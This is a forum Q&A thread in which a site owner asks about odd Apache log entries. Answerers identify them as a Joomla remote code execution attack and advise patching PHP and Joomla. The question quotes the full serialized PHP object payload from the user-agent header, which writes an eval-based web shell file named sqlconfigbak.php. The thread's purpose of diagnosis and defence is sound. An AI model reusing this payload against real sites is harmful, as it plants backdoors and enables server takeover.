10

Apache access log entries on my site are typically like this one:

207.46.13.174 - - [31/Oct/2016:10:18:55 +0100] "GET /contact HTTP/1.1" 200 256 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 0.607 MISS 10.10.36.125:104 0.607

so you can see user-agent field there. But today I also found user-agent field used like this:

62.210.162.42 - - [31/Oct/2016:11:24:19 +0100] "GET / HTTP/1.1" 200 399 "-" "}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:242:"file_put_contents($_SERVER["DOCUMENT_ROOT"].chr(47)."sqlconfigbak.php","|=|\x3C".chr(63)."php \x24mujj=\x24_POST['z'];if(\x24mujj!=''){\x24xsser=base64_decode(\x24_POST['z0']);@eval(\"\\\x24safedg=\x24xsser;\");}");JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}~Ů" 0.304 BYPASS 10.10.36.125:104 0.304

Was this an attack? Next log entry appears to have successfully retrieved (code 200) file sqlconfigbak.php mentioned in the script. Although I cannot find the file in file system:

62.210.162.42 - - [31/Oct/2016:11:24:20 +0100] "GET //sqlconfigbak.php HTTP/1.1" 200 399 "http://www.googlebot.com/bot.html" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 0.244 BYPASS 10.10.36.125:104 0.244

Please what was happening here?

11

This is a Joomla 0 Day Attack. Information found here: https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html

This is not a vulnerability test despite the __test. It is an attack.

Make sure that any Joomla install is as up to date as possible.

Another option is to simply use .htaccess to intercept this exploit by looking for a common string, "__test" would work, and redirect to some other place.

4

The IP address that you linked does not resolve to a Google hostname therefore it is not Google. The person or bot is scanning your site for vulnerabilities. The first one is attempting to find a Joomla vulnerability.

These events are a regular occurrence on most websites, You should ensure that you are following best practices and harden your website, the process is long and you will need to find and follow a online tutorial.

  • OK, thank you. I hardened the website already yet before finding this. Honestly, finding such an attack vector surprised me a bit. – miroxlav Oct 31 '16 at 21:38
2

Additionally to other answers, note that the fact that this attack apparently worked suggests you are running an old, insecure version of PHP. A fix for the bug that this attack exploits was released in september 2015. Run your update process and make sure it pulls in the most recent version of PHP. And check for other outdated programs that are Internet-facing, too, as it seems your server hasn't been kept up-to-date for at least a year.

  • Damned good point! – closetnoc Nov 2 '16 at 15:07

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.